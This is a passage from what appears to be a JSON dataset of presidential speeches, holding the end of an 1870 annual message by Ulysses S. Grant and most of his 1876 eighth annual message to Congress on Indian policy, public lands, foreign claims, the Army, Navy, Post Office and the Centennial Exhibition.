and\nemployees who do not require \"the advice and consent of the Senate\" to make\ntheir appointments complete. I would have it govern, not the tenure, but\nthe manner of making all appointments. There is no duty which so much\nembarrasses the Executive and heads of Departments as that of appointments,\nnor is there any such arduous and thankless labor imposed on Senators and\nRepresentatives as that of finding places for constituents. The present\nsystem does not secure the best men, and often not even fit men, for public\nplace. The elevation and purification of the civil service of the\nGovernment will be hailed with approval by the whole people of the United\nStates.Reform in the management of Indian affairs has received the special\nattention of the Administration from its inauguration to the present day.\nThe experiment of making it a missionary work was tried with a few agencies\ngiven to the denomination of Friends, and has been found to work most\nadvantageously. All agencies and superintendencies not so disposed of were\ngiven to officers of the Army. The act of Congress reducing the Army\nrenders army officers ineligible for civil positions. Indian agencies being\ncivil offices, I determined to give all the agencies to such religious\ndenominations as had heretofore established missionaries among the Indians,\nand perhaps to some other denominations who would undertake the work on the\nsame terms--i.e., as a missionary work. The societies selected are allowed\nto name their own agents, subject to the approval of the Executive, and are\nexpected to watch over them and aid them as missionaries, to Christianize\nand civilize the Indian, and to train him in the arts of peace. The\nGovernment watches over the official acts of these agents, and requires of\nthem as strict an accountability as if they were appointed in any other\nmanner. I entertain the confident hope that the policy now pursued will in\na few years bring all the Indians upon reservations, where they will live\nin houses, and have schoolhouses and churches, and will be pursuing\npeaceful and self-sustaining avocations, and where they may be visited by\nthe law-abiding white man with the same impunity that he now visits the\ncivilized white settlements. I call your special attention to the report of\nthe Commissioner of Indian Affairs for full information on this subject.During the last fiscal year 8,095,413 acres of public land were disposed\nof. Of this quantity 3,698,910.05 acres were taken under the homestead law\nand 2,159,515.81 acres sold for cash. The remainder was located with\nmilitary warrants, college or Indian scrip, or applied in satisfaction of\ngrants to railroads or for other public uses. The entries under the\nhomestead law during the last year covered 961,545 acres more than those\nduring the preceding year. Surveys have been vigorously prosecuted to the\nfull extent of the means applicable to the purpose. The quantity of land in\nmarket will amply supply the present demand. The claim of the settler under\nthe homestead or the preemption laws is not, however, limited to lands\nsubject to sale at private entry. Any unappropriated surveyed public land\nmay, to a limited amount, be acquired under the former laws if the party\nentitled to enter under them will comply with the requirements they\nprescribe in regard to the residence and cultivation. The actual settler's\npreference right of purchase is even broader, and extends to lands which\nwere unsurveyed at the time of his settlement. His right was formerly\nconfined within much narrower limits, and at one period of our history was\nconferred only by special statutes. They were enacted from time to time to\nlegalize what was then regarded as an unauthorized intrusion upon the\nnational domain. The opinion that the public lands should be regarded\nchiefly as a source of revenue is no longer maintained. The rapid\nsettlement and successful cultivation of them are now justly considered of\nmore importance to our well-being than is the fund which the sale of them\nwould produce. The remarkable growth and prosperity of our new States and\nTerritories attest the wisdom of the legislation which invites the tiller\nof the soil to secure a permanent home on terms within the reach of all.\nThe pioneer who incurs the dangers and privations of a frontier life, and\nthus aids in laying the foundation of new commonwealths, renders a signal\nservice to his country, and is entitled to its special favor and\nprotection. These laws secure that object and largely promote the general\nwelfare. They should therefore be cherished as a permanent feature of our\nland system.Good faith requires us to give full effect to existing grants. The\ntime-honored and beneficent policy of setting apart certain sections of\npublic land for educational purposes in the new States should be continued.\nWhen ample provision shall have been made for these objects, I submit as a\nquestion worthy of serious consideration whether the residue of our\nnational domain should not be wholly disposed of under the provisions the\nhomestead and preemption laws.In addition to the swamp and overflowed lands granted to the States in\nwhich they are situated, the lands taken under the agricultural-college\nacts and for internal-improvement purposes under the act of September,\n1841, and the acts supplemental thereto, there had been conveyed up to the\nclose of the last fiscal year, by patent or other equivalent title, to\nStates and corporations 27,836,257.63 acres for railways, canals, and wagon\nroads. It is estimated that an additional quantity of 174,735,523 acres is\nstill due under grants for like uses. The policy of thus aiding the States\nin building works of internal improvement was inaugurated more than forty\nyears since in the grants to Indiana and Illinois, to aid those States in\nopening canals to connect the waters of the Wabash with those of Lake Erie\nand the waters of the Illinois with those of Lake Michigan. It was\nfollowed, with some modifications, in the grant to Illinois of alternate\nsections of public land within certain limits of the Illinois Central\nRailway. Fourteen States and sundry corporations have received similar\nsubsidies in connection with railways completed or in process of\nconstruction. As the reserved sections are rated at the double minimum, the\nsale of them at the enhanced price has thus in many instances indemnified\nthe Treasury for the granted lands. The construction of some of these\nthoroughfares has undoubtedly given a vigorous impulse to the development\nof our resources and the settlement of the more distant portions of the\ncountry. It may, however, be well insisted that much of our legislation in\nthis regard has been characterized by indiscriminate and profuse\nliberality. The United States should not loan their credit in aid of any\nenterprise undertaken by States or corporations, nor grant lands in any\ninstance, unless the projected work is of acknowledged national importance.\nI am strongly inclined to the opinion that it is inexpedient and\nunnecessary to bestow subsidies of either description; but should Congress\ndetermine otherwise I earnestly recommend that the right of settlers and of\nthe public be more effectually secured and protected by appropriate\nlegislation.During the year ending September 30, 1870, there were filed in the Patent\nOffice 19,411 applications for patents, 3,374 caveats, and 160 applications\nfor the extension of patents. Thirteen thousand six hundred and twenty-two\npatents, including reissues and designs, were issued, 1,010 extended, and\n1,089 allowed, but not issued by reason of the nonpayment of the final\nfees. The receipts of the office during the year were $136,304.29 in excess\nof its expenditures.The work of the Census Bureau has been energetically prosecuted. The\npreliminary report, containing much information of special value and\ninterest, will be ready for delivery during the present session. The\nremaining volumes will be completed with all the dispatch consistent with\nperfect accuracy in arranging and classifying the returns. We shall thus at\nno distant day be furnished with an authentic record of our condition and\nresources. It will, I doubt not, attest the growing prosperity of the\ncountry, although during the decade which has just closed it was so\nseverely tried by the great war waged to maintain its integrity and to\nsecure and perpetuate our free institutions.During the last fiscal year the sum paid to pensioners, including the cost\nof disbursement, was $27,780,811.11, and 1,758 bounty-land warrants were\nissued. At its close 198,686 names were on the pension rolls.The labors of the Pension Office have been directed to the severe scrutiny\nof the evidence submitted in favor of new claims and to the discovery of\nfictitious claims which have been heretofore allowed. The appropriation for\nthe employment of special agents for the investigation of frauds has been\njudiciously used, and the results obtained have been of unquestionable\nbenefit to the service.The subjects of education and agriculture are of great interest to the\nsuccess of our republican institutions, happiness, and grandeur as a\nnation. In the interest of one a bureau has been established in the\nInterior Department--the Bureau of Education; and in the interest of the\nother, a separate Department, that of Agriculture. I believe great general\ngood is to flow from the operations of both these Bureaus if properly\nfostered. I can not commend to your careful consideration too highly the\nreports of the Commissioners of Education and of Agriculture, nor urge too\nstrongly such liberal legislation as to secure their efficiency.In conclusion I would sum up the policy of the Administration to be a\nthorough enforcement of every law; a faithful collection of every tax\nprovided for; economy in the disbursement of the same; a prompt payment of\nevery debt of the nation; a reduction of taxes as rapidly as the\nrequirements of the country will admit; reductions of taxation and tariff,\nto be so arranged as to afford the greatest relief to the greatest number;\nhonest and fair dealings with all other peoples, to the end that war, with\nall its blighting consequences, may be avoided, but without surrendering\nany right or obligation due to us; a reform in the treatment of Indians and\nin the whole civil service of the country; and, finally, in securing a\npure, untrammeled ballot, where every man entitled to cast a vote may do\nso, just once at each election, without fear of molestation or proscription\non account of his political faith, nativity, of color.U. S. GRANT", 
+    "name": "Ulysses S. Grant"
+}
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+{
+    "date": "December 5, 1876", 
+    "speech": "To the Senate and House of Representatives:In submitting my eighth and last annual message to Congress it seems proper\nthat I should refer to and in some degree recapitulate the events and\nofficial acts of the past eight years.It was my fortune, or misfortune, to be called to the office of Chief\nExecutive without any previous political training. From the age of 17 I had\nnever even witnessed the excitement attending a Presidential campaign but\ntwice antecedent to my own candidacy, and at but one of them was I eligible\nas a voter.Under such circumstances it is but reasonable to suppose that errors of\njudgment must have occurred. Even had they not, differences of opinion\nbetween the Executive, bound by an oath to the strict performance of his\nduties, and writers and debaters must have arisen. It is not necessarily\nevidence of blunder on the part of the Executive because there are these\ndifferences of views. Mistakes have been made, as all can see and I admit,\nbut it seems to me oftener in the selections made of the assistants\nappointed to aid in carrying out the various duties of administering the\nGovernment--in nearly every case selected without a personal acquaintance\nwith the appointee, but upon recommendations of the representatives chosen\ndirectly by the people. It is impossible, where so many trusts are to be\nallotted, that the right parties should be chosen in every instance.\nHistory shows that no Administration from the time of Washington to the\npresent has been free from these mistakes. But I leave comparisons to\nhistory, claiming only that I have acted in every instance from a\nconscientious desire to do what was right, constitutional, within the law,\nand for the very best interests of the whole people. Failures have been\nerrors of judgment, not of intent.My civil career commenced, too, at a most critical and difficult time. Less\nthan four years before, the country had emerged from a conflict such as no\nother nation had ever survived. Nearly one-half of the States had revolted\nagainst the Government, and of those remaining faithful to the Union a\nlarge percentage of the population sympathized with the rebellion and made\nan \"enemy in the rear\" almost as dangerous as the more honorable enemy in\nthe front. The latter committed errors of judgment, but they maintained\nthem openly and courageously; the former received the protection of the\nGovernment they would see destroyed, and reaped all the pecuniary advantage\nto be gained out of the then existing state of affairs, many of them by\nobtaining contracts and by swindling the Government in the delivery of\ntheir goods.Immediately on the cessation of hostilities the then noble President, who\nhad carried the country so far through its perils, fell a martyr to his\npatriotism at the hands of an assassin.The intervening time to my first inauguration was filled up with wranglings\nbetween Congress and the new Executive as to the best mode of\n\"reconstruction,\" or, to speak plainly, as to whether the control of the\nGovernment should be thrown immediately into the hands of those who had so\nrecently and persistently tried to destroy it, or whether the victors\nshould continue to have an equal voice with them in this control.\nReconstruction, as finally agreed upon, means this and only this, except\nthat the late slave was enfranchised, giving an increase, as was supposed,\nto the Union-loving and Union-supporting votes. If free in the full sense\nof the word, they would not disappoint this expectation. Hence at the\nbeginning of my first Administration the work of reconstruction, much\nembarrassed by the long delay, virtually commenced. It was the work of the\nlegislative branch of the Government. My province was wholly in approving\ntheir acts, which I did most heartily, urging the legislatures of States\nthat had not yet done so to ratify the fifteenth amendment to the\nConstitution. The country was laboring under an enormous debt, contracted\nin the suppression of rebellion, and taxation was so oppressive as to\ndiscourage production. Another danger also threatened us--a foreign war.\nThe last difficulty had to be adjusted and was adjusted without a war and\nin a manner highly honorable to all parties concerned. Taxes have been\nreduced within the last seven years nearly $300,000,000, and the national\ndebt has been reduced in the same time over $435,000,000. By refunding the\n6 per cent bonded debt for bonds bearing 5 and 4 1/2 per cent interest,\nrespectively, the annual interest has been reduced from over $130,000,000\nin 1869 to but little over $100,000,000 in 1876. The balance of trade has\nbeen changed from over $130,000,000 against the United States in 1869 to\nmore than $120,000,000 in our favor in 1876.It is confidently believed that the balance of trade in favor of the United\nStates will increase, not diminish, and that the pledge of Congress to\nresume specie payments in 1879 will be easily accomplished, even in the\nabsence of much-desired further legislation on the subject.A policy has been adopted toward the Indian tribes inhabiting a large\nportion of the territory of the United States which has been humane and has\nsubstantially ended Indian hostilities in the whole land except in a\nportion of Nebraska, and Dakota, Wyoming, and Montana Territories--the\nBlack Hills region and approaches thereto. Hostilities there have grown out\nof the avarice of the white man, who has violated our treaty stipulations\nin his search for gold. The question might be asked why the Government has\nnot enforced obedience to the terms of the treaty prohibiting the\noccupation of the Black Hills region by whites. The answer is simple: The\nfirst immigrants to the Black Hills were removed by troops, but rumors of\nrich discoveries of gold took into that region increased numbers. Gold has\nactually been found in paying quantity, and an effort to remove the miners\nwould only result in the desertion of the bulk of the troops that might be\nsent there to remove them. All difficulty in this matter has, however, been\nremoved--subject to the approval of Congress--by a treaty ceding the Black\nHills and approaches to settlement by citizens.The subject of Indian policy and treatment is so fully set forth by the\nSecretary of the Interior and the Commissioner of Indian Affairs, and my\nviews so fully expressed therein, that I refer to their reports and\nrecommendations as my own.The relations of the United States with foreign powers continue on a\nfriendly footing.Questions have arisen from time to time in the foreign relations of the\nGovernment, but the United States have been happily free during the past\nyear from the complications and embarrassments which have surrounded some\nof the foreign powers.The diplomatic correspondence submitted herewith contains information as to\ncertain of the matters which have occupied the Government.The cordiality which attends our relations with the powers of the earth has\nbeen plainly shown by the general participation of foreign nations in the\nexhibition which has just closed and by the exertions made by distant\npowers to show their interest in and friendly feelings toward the United\nStates in the commemoration of the centennial of the nation. The Government\nand people of the United States have not only fully appreciated this\nexhibition of kindly feeling, but it may be justly and fairly expected that\nno small benefits will result both to ourselves and other nations from a\nbetter acquaintance, and a better appreciation of our mutual advantages and\nmutual wants.Congress at its last session saw fit to reduce the amount usually\nappropriated for foreign intercourse by withholding appropriations for\nrepresentatives of the United States in certain foreign countries and for\ncertain consular officers, and by reducing the amounts usually appropriated\nfor certain other diplomatic posts, and thus necessitating a change in the\ngrade of the representatives. For these reasons, immediately upon the\npassage of the bill making appropriations for the diplomatic and consular\nservice for the present fiscal year, instructions were issued to the\nrepresentatives of the United States at Bolivia, Ecuador, and Colombia, and\nto the consular officers for whom no appropriation had been made, to close\ntheir respective legations and consulates and cease from the performance of\ntheir duties; and in like manner steps were immediately taken to substitute\ncharge's d'affaires for ministers resident in Portugal, Denmark, Greece,\nSwitzerland, and Paraguay.While thoroughly impressed with the wisdom of sound economy in the foreign\nservice, as in other branches of the Government, I can not escape the\nconclusion that in some instances the withholding of appropriations will\nprove an expensive economy, and that the small retrenchment secured by a\nchange of grade in certain diplomatic posts is not an adequate\nconsideration for the loss of influence and importance which will attend\nour foreign representatives under this reduction. I am of the opinion that\na reexamination of the subject will cause a change in some instances in the\nconclusions reached on these subjects at the last session of Congress.The Court of Commissioners of Alabama Claims, whose functions were\ncontinued by an act of the last session of Congress until the 1st day of\nJanuary, 1877, has carried on its labors with diligence and general\nsatisfaction. By a report from the clerk of the court, transmitted\nherewith, bearing date November 14, 1876, it appears that within the time\nnow allowed by law the court will have disposed of all the claims presented\nfor adjudication. This report also contains a statement of the general\nresults of the labors of the court to the date thereof. It is a cause of\nsatisfaction that the method adopted for the satisfaction of the classes of\nclaims submitted to the court, which are of long standing and justly\nentitled to early consideration, should have proved successful and\nacceptable.It is with satisfaction that I am enabled to state that the work of the\njoint commission for determining the boundary line between the United\nStates and British possessions from the northwest angle of the Lake of the\nWoods to the Rocky Mountains, commenced in 1872, has been completed. The\nfinal agreements of the commissioners, with the maps, have been duly\nsigned, and the work of the commission is complete.The fixing of the boundary upon the Pacific coast by the protocol of March\n10, 1873, pursuant to the award of the Emperor of Germany by Article XXXIV\nof the treaty of Washington, with the termination of the work of this\ncommission, adjusts and fixes the entire boundary between the United States\nand the British possessions, except as to the portion of territory ceded by\nRussia to the United States under the treaty of 1867. The work intrusted to\nthe commissioner and the officers of the Army attached to the commission\nhas been well and satisfactorily performed. The original of the final\nagreement of the commissioners, signed upon the 29th of May, 1876, with the\noriginal official \"lists of astronomical stations observed,\" the original\nofficial \"list of monuments marking the international boundary line,\" and\nthe maps, records, and general reports relating to the commission, have\nbeen deposited in the Department of State. The official report of the\ncommissioner on the part of the United States, with the report of the chief\nastronomer of the United States, will be submitted to Congress within a\nshort time.I reserve for a separate communication to Congress a statement of the\ncondition of the questions which lately arose with Great Britain respecting\nthe surrender of fugitive criminals under the treaty of 1842.The Ottoman Government gave notice, under date of January 15, 1874, of its\ndesire to terminate the treaty of 1862, concerning commerce and navigation,\npursuant to the provisions of the twenty-second article thereof. Under this\nnotice the treaty terminated upon the 5th day of June, 1876. That\nGovernment has invited negotiations toward the conclusion of a new treaty.By the act of Congress of March 23, 1874, the President was authorized,\nwhen he should receive satisfactory information that the Ottoman Government\nor that of Egypt had organized new tribunals likely to secure to citizens\nof the United States the same impartial justice enjoyed under the exercise\nof judicial functions by diplomatic and consular officers of the United\nStates, to suspend the operation of the act of June 22, 1860, and to accept\nfor citizens of the United States the jurisdiction of the new tribunals.\nSatisfactory information having been received of the organization of such\nnew tribunals in Egypt, I caused a proclamation to be issued upon the 27th\nof March last, suspending the operation of the act of June 22, 1860, in\nEgypt, according to the provisions of the act. A copy of the proclamation\naccompanies this message. The United States has united with the other\npowers in the organization of these courts. It is hoped that the\njurisdictional questions which have arisen may be readily adjusted, and\nthat this advance in judicial reform may be hindered by no obstacles.The necessary legislation to carry into effect the convention respecting\ncommercial reciprocity concluded with the Hawaiian Islands in 1875 having\nbeen had, the proclamation to carry into effect the convention, as provided\nby the act approved August 15, 1876, was duly issued upon the 9th day of\nSeptember last. A copy thereof accompanies this message.The commotions which have been prevalent in Mexico for some time past, and\nwhich, unhappily, seem to be not yet wholly quieted, have led to complaints\nof citizens of the United States of injuries by persons in authority. It is\nhoped, however, that these will ultimately be adjusted to the satisfaction\nof both Governments. The frontier of the United States in that quarter has\nnot been exempt from acts of violence by citizens of one Republic on those\nof the other. The frequency of these is supposed to be increased and their\nadjustment made more difficult by the considerable changes in the course of\nthe lower part of the Rio Grande River, which river is a part of the\nboundary between the two countries. These changes have placed on either\nside of that river portions of land which by existing conventions belong to\nthe jurisdiction of the Government on the opposite side of the river. The\nsubject of adjustment of this cause of difficulty is under consideration\nbetween the two Republics.The Government of the United States of Colombia has paid the award in the\ncase of the steamer Montijo, seized by authorities of that Government some\nyears since, and the amount has been transferred to the claimants.It is with satisfaction that I am able to announce that the joint\ncommission for the adjustment of claims between the United States and\nMexico under the convention of 1868, the duration of which has been several\ntimes extended, has brought its labors to a close. From the report of the\nagent of the United States, which accompanies the papers transmitted\nherewith, it will be seen that within the time limited by the commission\n1,017 claims on the part of citizens of the United States against Mexico\nwere referred to the commission. Of these claims 831 were dismissed or\ndisallowed, and in 186 cases awards were made in favor of the claimants\nagainst the Mexican Republic, amounting in the aggregate to $4,125,622.20.\nWithin the same period 998 claims on the part of citizens of the Mexican\nRepublic against the United States were referred to the commission. Of\nthese claims 831 were dismissed or disallowed, and in 167 cases awards were\nmade in favor of the claimants against the United States, amounting in the\naggregate to $150,498.41.By the terms of the convention the amount of these awards is to be deducted\nfrom the amount awarded in favor of our citizens against Mexico, and the\nbalance only to be paid by Mexico to the United States, leaving the United\nStates to make provision for this proportion of the awards in favor of its\nOwn citizens.I invite your attention to the legislation which will be necessary to\nprovide for the payment.In this connection I am pleased to be able to express the acknowledgments\ndue to Sir Edward Thornton, the umpire of the commission, who has given to\nthe consideration of the large number of claims submitted to him much time,\nunwearied patience, and that firmness and intelligence which are well known\nto belong to the accomplished representative of Great Britain, and which\nare likewise recognized by the representative in this country of the\nRepublic of Mexico.Monthly payments of a very small part of the amount due by the Government\nof Venezuela to citizens of the United States on account of claims of the\nlatter against that Government continue to be made with reasonable\npunctuality. That Government has proposed to change the system which it has\nhitherto pursued in this respect by issuing bonds for part of the amount of\nthe several claims. The proposition, however, could not, it is supposed,\nproperly be accepted, at least without the consent of the holders of\ncertificates of the indebtedness of Venezuela. These are so much dispersed\nthat it would be difficult, if not impossible, to ascertain their\ndisposition on the subject.In former messages I have called the attention of Congress to the necessity\nof legislation with regard to fraudulent naturalization and to the subject\nof expatriation and the election of nationality.The numbers of persons of foreign birth seeking a home in the United\nStates, the ease and facility with which the honest emigrant may, after the\nlapse of a reasonable time, become possessed of all the privileges of\ncitizenship of the United States, and the frequent occasions which induce\nsuch adopted citizens to return to the country of their birth render the\nsubject of naturalization and the safeguards which experience has proved\nnecessary for the protection of the honest naturalized citizen of paramount\nimportance. The very simplicity in the requirements of law on this question\naffords opportunity for fraud, and the want of uniformity in the\nproceedings and records of the various courts and in the forms of the\ncertificates of naturalization issued affords a constant source of\ndifficulty.I suggest no additional requirements to the acquisition of citizenship\nbeyond those now existing, but I invite the earnest attention of Congress\nto the necessity and wisdom of some provisions regarding uniformity in the\nrecords and certificates, and providing against the frauds which frequently\ntake place and for the vacating of a record of naturalization obtained in\nfraud.These provisions are needed in aid and for the protection of the honest\ncitizen of foreign birth, and for the want of which he is made to suffer\nnot infrequently. The United States has insisted upon the right of\nexpatriation, and has obtained, after a long struggle, an admission of the\nprinciple contended for by acquiescence therein on the part of many foreign\npowers and by the conclusion of treaties on that subject. It is, however,\nbut justice to the government to which such naturalized citizens have\nformerly owed allegiance, as well as to the United States, that certain\nfixed and definite rules should be adopted governing such cases and\nproviding how expatriation may be accomplished.While emigrants in large numbers become citizens of the United States, it\nis also true that persons, both native born and naturalized, once citizens\nof the United States, either by formal acts or as the effect of a series of\nfacts and circumstances, abandon their citizenship and cease to be entitled\nto the protection of the United States, but continue on convenient\noccasions to assert a claim to protection in the absence of provisions on\nthese questions.And in this connection I again invite your attention to the necessity of\nlegislation concerning the marriages of American citizens contracted\nabroad, and concerning the status of American women who may marry\nforeigners and of children born of American parents in a foreign country.The delicate and complicated questions continually occurring with reference\nto naturalization, expatriation, and the status of such persons as I have\nabove referred to induce me to earnestly direct your attention again to\nthese subjects.In like manner I repeat my recommendation that some means be provided for\nthe hearing and determination of the just and subsisting claims of aliens\nupon the Government of the United States within a reasonable limitation,\nand of such as may hereafter arise. While by existing provisions of law the\nCourt of Claims may in certain cases be resorted to by an alien claimant,\nthe absence of any general provisions governing all such cases and the want\nof a tribunal skilled in the disposition of such cases upon recognized\nfixed and settled principles, either provides no remedy in many deserving\ncases or compels a consideration of such claims by Congress or the\nexecutive department of the Government.It is believed that other governments are in advance of the United States\nupon this question, and that the practice now adopted is entirely\nunsatisfactory.Congress, by an act approved the 3d day of March, 1875, authorized the\ninhabitants of the Territory of Colorado to form a State government, with\nthe name of the State of Colorado, and therein provided for the admission\nof said State, when formed, into the Union upon an equal footing with the\noriginal States.A constitution having been adopted and ratified by the people of that\nState, and the acting governor having certified to me the facts as provided\nby said act, together with a copy of such constitution and ordinances as\nprovided for in the said act, and the provisions of the said act of\nCongress having been duly complied with, I issued a proclamation upon the\n1st of August, 1876, a copy of which is hereto annexed.The report of the Secretary of War shows that the Army has been actively\nemployed during the year in subduing, at the request of the Indian Bureau,\ncertain wild bands of the Sioux Indian Nation and in preserving the peace\nat the South during the election. The commission constituted under the act\nof July 24, 1876, to consider and report on the \"whole subject of the\nreform and reorganization of the Army\" met in August last, and has\ncollected a large mass of statistics and opinions bearing on the subject\nbefore it. These are now under consideration, and their report is\nprogressing. I am advised, though, by the president of the commission that\nit will be impracticable to comply with the clause of the act requiring the\nreport to be presented, through me, to Congress on the first day of this\nsession, as there has not yet been time for that mature deliberation which\nthe importance of the subject demands. Therefore I ask that the time of\nmaking the report be extended to the 29th day of January, 1877.In accordance with the resolution of August 15, 1876, the Army regulations\nprepared under the act of March 1, 1875, have not been promulgated, but are\nheld until after the report of the above-mentioned commission shall have\nbeen received and acted on.By the act of August 15, 1876, the cavalry force of the Army was increased\nby 2,500 men, with the proviso that they should be discharged on the\nexpiration of hostilities. Under this authority the cavalry regiments have\nbeen strengthened, and a portion of them are now in the field pursuing the\nremnants of the Indians with whom they have been engaged during the\nsummer.The estimates of the War Department are made up on the basis of the number\nof men authorized by law, and their requirements as shown by years of\nexperience, and also with the purpose on the part of the bureau officers to\nprovide for all contingencies that may arise during the time for which the\nestimates are made. Exclusive of engineer estimates (presented in\naccordance with acts of Congress calling for surveys and estimates for\nimprovements at various localities), the estimates now presented are about\nsix millions in excess of the appropriations for the years 1874-75 and\n1875-76. This increase is asked in order to provide for the increased\ncavalry force (should their services be necessary), to prosecute\neconomically work upon important public buildings, to provide for armament\nof fortifications and manufacture of small arms, and to replenish the\nworking stock in the supply departments. The appropriations for these last\nnamed have for the past few years been so limited that the accumulations in\nstore will be entirely exhausted during the present year, and it will be\nnecessary to at once begin to replenish them.I invite your special attention to the following recommendations of the\nSecretary of War:First. That the claims under the act of July 4, 1864, for supplies taken by\nthe Army during the war be removed from the offices of the Quartermaster\nand Commissary Generals and transferred to the Southern Claims Commission.\nThese claims are of precisely similar nature to those now before the\nSouthern Claims Commission, and the War Department bureaus have not the\nclerical force for their examination nor proper machinery for investigating\nthe loyalty of the claimants.Second. That Congress sanction the scheme of an annuity fund for the\nbenefit of the families of deceased officers, and that it also provide for\nthe permanent organization of the Signal Service, both of which were\nrecommended in my last annual message.Third. That the manufacturing operations of the Ordnance Department be\nconcentrated at three arsenals and an armory, and that the remaining\narsenals be sold and the proceeds applied to this object by the Ordnance\nDepartment.The appropriations for river and harbor improvements for the current year\nwere $5,015,000. With my approval, the Secretary of War directed that of\nthis amount $2,000,000 should be expended, and no new works should be begun\nand none prosecuted which were not of national importance. Subsequently\nthis amount was increased to $2,237,600, and the works are now progressing\non this basis.The improvement of the South Pass of the Mississippi River, under James B.\nEads and his associates, is progressing favorably. At the present time\nthere is a channel of 20.3 feet in depth between the jetties at the mouth\nof the pass and 18.5 feet at the head of the pass. Neither channel,\nhowever, has the width required before payments can be made by the United\nStates. A commission of engineer officers is now examining these works, and\ntheir reports will be presented as soon as received.The report of the Secretary of the Navy shows that branch of the service to\nbe in condition as effective as it is possible to keep it with the means\nand authority given the Department. It is, of course, not possible to rival\nthe costly and progressive establishments of great European powers with the\nold material of our Navy, to which no increase has been authorized since\nthe war, except the eight small cruisers built to supply the place of\nothers which had gone to decay. Yet the most has been done that was\npossible with the means at command; and by substantially rebuilding some of\nour old ships with durable material and completely repairing and refitting\nour monitor fleet the Navy has been gradually so brought up that, though it\ndoes not maintain its relative position among the progressive navies of the\nworld, it is now in a condition more powerful and effective than it ever\nhas been in time of peace.The complete repairs of our five heavy ironclads are only delayed on\naccount of the inadequacy of the appropriations made last year for the\nworking bureaus of the Department, which were actually less in amount than\nthose made before the war, notwithstanding the greatly enhanced price of\nlabor and materials and the increase in the cost of the naval service\ngrowing out of the universal use and great expense of steam machinery. The\nmoney necessary for these repairs should be provided at once, that they may\nbe completed without further unnecessary delay and expense.When this is done, all the strength that there is in our Navy will be\ndeveloped and useful to its full capacity, and it will be powerful for\npurposes of defense, and also for offensive action, should the necessity\nfor that arise within a reasonable distance from our shores.The fact that our Navy is not more modern and powerful than it is has been\nmade a cause of complaint against the Secretary of the Navy by persons who\nat the same time criticise and complain of his endeavors to bring the Navy\nthat we have to its best and most efficient condition; but the good sense\nof the country will understand that it is really due to his practical\naction that we have at this time any effective naval force at command.The report of the Postmaster-General shows the excess of expenditures\n(excluding expenditures on account of previous years) over receipts for the\nfiscal year ended June 30, 1876, to be $4,151,988.66.Estimated expenditures for the fiscal year ending June 30, 1878, are\n$36,723,432.43.Estimated revenue for same period is $30,645,165, leaving estimated excess\nof expenditure, to be appropriated as a deficiency, of $6,078,267.43.The Postmaster-General, like his predecessor, is convinced that a change in\nthe basis of adjusting the salaries of postmasters of the fourth class is\nnecessary for the good of the service as well as for the interests of the\nGovernment, and urgently recommends that the compensation of the class of\npostmasters above mentioned be based upon the business of their respective\noffices, as ascertained from the sworn returns to the Auditor of stamps\ncanceled.A few postmasters in the Southern States have expressed great apprehension\nof their personal safety on account of their connection with the postal\nservice, and have specially requested that their reports of apprehended\ndanger should not be made public lest it should result in the loss of their\nlives. But no positive testimony of interference has been submitted, except\nin the case of a mail messenger at Spartanburg, in South Carolina, who\nreported that he had been violently driven away while in charge of the\nmails on account of his political affiliations. An assistant superintendent\nof the Railway Mail Service investigated this case and reported that the\nmessenger had disappeared from his post, leaving his work to be performed\nby a substitute. The Postmaster-General thinks this case is sufficiently\nsuggestive to justify him in recommending that a more severe punishment\nshould be provided for the offense of assaulting any person in charge of\nthe mails or of retarding or otherwise obstructing them by threats of\npersonal injury.\"A very gratifying result is presented in the fact that the deficiency of\nthis Department during the last fiscal year was reduced to $4,081,790.18,\nas against $6,169,938.88 of the preceding year. The difference can be\ntraced to the large increase in its ordinary receipts (which greatly exceed\nthe estimates therefor) and a slight decrease in its expenditures.\"The ordinary receipts of the Post-Office Department for the past seven\nfiscal years have increased at an average of over 8 per cent per annum,\nwhile the increase of expenditures for the same period has been but about\n5.50 per cent per annum, and the decrease of deficiency in the revenues has\nbeen at the rate of nearly 2 per cent per annum.The report of the Commissioner of Agriculture accompanying this message\nwill be found one of great interest, marking, as it does, the great\nprogress of the last century in the variety of products of the soil;\nincreased knowledge and skill in the labor of producing, saving, and\nmanipulating the same to prepare them for the use of man; in the\nimprovements in machinery to aid the agriculturist in his labors, and in a\nknowledge of those scientific subjects necessary to a thorough system of\neconomy in agricultural production, namely, chemistry, botany, entomology,\netc. A study of this report by those interested in agriculture and deriving\ntheir support from it will find it of value in pointing out those articles\nwhich are raised in greater quantity than the needs of the world require,\nand must sell, therefore, for less than the cost of production, and those\nwhich command a profit over cost of production because there is not an\noverproduction.I call special attention to the need of the Department for a new gallery\nfor the reception of the exhibits returned from the Centennial Exhibition,\nincluding the exhibits donated by very many foreign nations, and to the\nrecommendations of the Commissioner of Agriculture generally.The reports of the District Commissioners and the board of health are just\nreceived--too late to read them and to make recommendations thereon--and\nare herewith submitted.The international exhibition held in Philadelphia this year, in\ncommemoration of the one hundredth anniversary of American independence,\nhas proven a great success, and will, no doubt, be of enduring advantage to\nthe country. It has shown the great progress in the arts, sciences, and\nmechanical skill made in a single century, and demonstrated that we are but\nlittle behind older nations in any one branch, while in some we scarcely\nhave a rival. It has served, too, not only to bring peoples and products of\nskill and labor from all parts of the world together, but in bringing\ntogether people from all sections of our own country, which must prove a\ngreat benefit in the information imparted and pride of country engendered.It has been suggested by scientists interested in and connected with the\nSmithsonian Institution, in a communication herewith, that the Government\nexhibit be removed to the capital and a suitable building be erected or\npurchased for its accommodation as a permanent exhibit. I earnestly\nrecommend this; and believing that Congress would second this view, I\ndirected that all Government exhibits at the Centennial Exhibition should\nremain where they are, except such as might be injured by remaining in a\nbuilding not intended as a protection in inclement weather, or such as may\nbe wanted by the Department furnishing them, until the question of\npermanent exhibition is acted on.Although the moneys appropriated by Congress to enable the participation of\nthe several Executive Departments in the International Exhibition of 1876\nwere not sufficient to carry out the undertaking to the full extent at\nfirst contemplated, it gives me pleasure to refer to the very efficient and\ncreditable manner in which the board appointed from these several\nDepartments to provide an exhibition on the part of the Government have\ndischarged their duties with the funds placed at their command. Without a\nprecedent to guide them in the preparation of such a display, the success\nof their labors was amply attested by the sustained attention which the\ncontents of the Government building attracted during the period of the\nexhibition from both foreign and native visitors.I am strongly impressed with the value of the collection made by the\nGovernment for the purposes of the exhibition, illustrating, as it does,\nthe mineral resources of the country, the statistical and practical\nevidences of our growth as a nation, and the uses of the mechanical arts\nand the applications of applied science in the administration of the\naffairs of Government.Many nations have voluntarily contributed their exhibits to the United\nStates to increase the interest in any permanent exhibition Congress may\nprovide for. For this act of generosity they should receive the thanks of\nthe people, and I 